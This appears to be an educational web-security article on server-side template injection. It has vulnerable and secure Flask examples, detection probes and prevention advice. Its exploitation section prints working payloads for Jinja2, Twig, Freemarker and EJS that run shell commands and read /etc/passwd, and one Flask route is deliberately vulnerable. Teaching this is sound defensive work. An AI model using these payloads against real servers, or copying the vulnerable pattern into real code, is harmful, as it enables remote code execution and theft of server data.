Back to Learning Center
criticalA03:2021CWE-1336CWE-94

Server-Side Template Injection (SSTI)

Server-Side Template Injection (SSTI) occurs when user input is unsafely embedded into a server-side template, allowing attackers to inject and execute arbitrary code. This vulnerability can lead to complete server compromise, with one in every 16 organizations being impacted by SSTI attacks.

What is SSTI?

Template engines allow developers to embed dynamic content into web pages. When user input is directly concatenated into templates instead of being passed as data, attackers can inject template syntax that gets executed on the server.

Common vulnerable template engines include:

  • Jinja2 (Python/Flask)
  • Twig (PHP/Symfony)
  • Freemarker (Java)
  • EJS (JavaScript/Node.js)
  • Pebble, Velocity, Thymeleaf (Java)

How SSTI Works

Vulnerable vs Secure Code

python
from flask import Flask, request, render_template_string

app = Flask(__name__)

# VULNERABLE: User input directly in template
@app.route('/vulnerable')
def vulnerable():
    name = request.args.get('name', '')
    # Dangerous! Template is constructed with user input
    template = f"<h1>Hello {name}!</h1>"
    return render_template_string(template)

# Attacker input: ?name={{7*7}}
# Output: <h1>Hello 49!</h1>
# Attacker input: ?name={{config}}
# Output: Exposes Flask configuration!

# SECURE: User input passed as variable
@app.route('/secure')
def secure():
    name = request.args.get('name', '')
    # Safe: Template is static, data is passed separately
    return render_template_string("<h1>Hello {{ name }}!</h1>", name=name)

Detecting SSTI

Use mathematical expressions to detect template injection. Different engines produce different results:

text
# Universal detection payloads
${7*7}       → 49 (EL, Freemarker, Velocity)
{{7*7}}      → 49 (Jinja2, Twig, Nunjucks)
{{7*'7'}}    → 7777777 (Jinja2) or 49 (Twig)
<%= 7*7 %>   → 49 (ERB, EJS)
#{7*7}       → 49 (Pebble, Thymeleaf)

# Fingerprinting the engine
{{7*'7'}}    → 7777777 = Jinja2 (string multiplication)
{{7*'7'}}    → 49 = Twig (numeric multiplication)

Exploitation Examples

Jinja2 (Python) RCE

python
# Read sensitive files
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}

# Execute system commands
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

# Alternative RCE payload
{% for x in ().__class__.__base__.__subclasses__() %}
  {% if "warning" in x.__name__ %}
    {{ x()._module.__builtins__['__import__']('os').popen('whoami').read() }}
  {% endif %}
{% endfor %}

Twig (PHP) RCE

php
# File read
{{ '/etc/passwd'|file_excerpt(1,30) }}

# RCE via filters
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}

# Modern Twig RCE
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('exec')}}

Freemarker (Java) RCE

java
# Execute commands
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}

# File read
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(' ')}

EJS (Node.js) RCE

javascript
// EJS template injection
<%= global.process.mainModule.require('child_process').execSync('id') %>

// Alternative
<%= require('child_process').execSync('cat /etc/passwd') %>

Real-World Impact

SSTI can lead to:

  • Remote Code Execution (RCE) - Full server compromise
  • Sensitive data exposure - Configuration, secrets, files
  • Lateral movement - Attack internal infrastructure
  • Data exfiltration - Steal databases, credentials

Prevention Strategies

1. Never Concatenate User Input

python
# WRONG - User input in template string
template = f"Hello {user_input}"
render_template_string(template)

# RIGHT - User input as template variable
render_template_string("Hello {{ name }}", name=user_input)

2. Use Static Templates

python
# WRONG - Dynamic template construction
def get_template(user_layout):
    return f"<div>{user_layout}</div>"

# RIGHT - Static templates with placeholders
# templates/greeting.html: <div>{{ content }}</div>
return render_template('greeting.html', content=user_content)

3. Sandbox Template Engines

python
from jinja2 import Environment, select_autoescape, sandbox

# Use sandboxed environment for user-provided templates
env = sandbox.SandboxedEnvironment(
    autoescape=select_autoescape(['html', 'xml']),
)

# This blocks dangerous operations
try:
    template = env.from_string(user_template)
    result = template.render(data=safe_data)
except sandbox.SecurityError:
    return "Template contains unsafe operations"

4. Use Logic-Less Templates

Consider using template engines with minimal logic capabilities:

javascript
// Mustache - logic-less, minimal attack surface
import Mustache from 'mustache';

const template = 'Hello {{name}}!';
const output = Mustache.render(template, { name: userInput });
// Even if userInput is "{{constructor.constructor('return this')()}}"
// it's treated as literal text, not code

Security Checklist

  • Never concatenate user input into templates
  • Pass user data as template variables only
  • Use sandboxed environments for user templates
  • Consider logic-less engines (Mustache, Handlebars)
  • Enable auto-escaping in your template engine
  • Keep template engines updated
  • Implement strict input validation
  • Disable dangerous template functions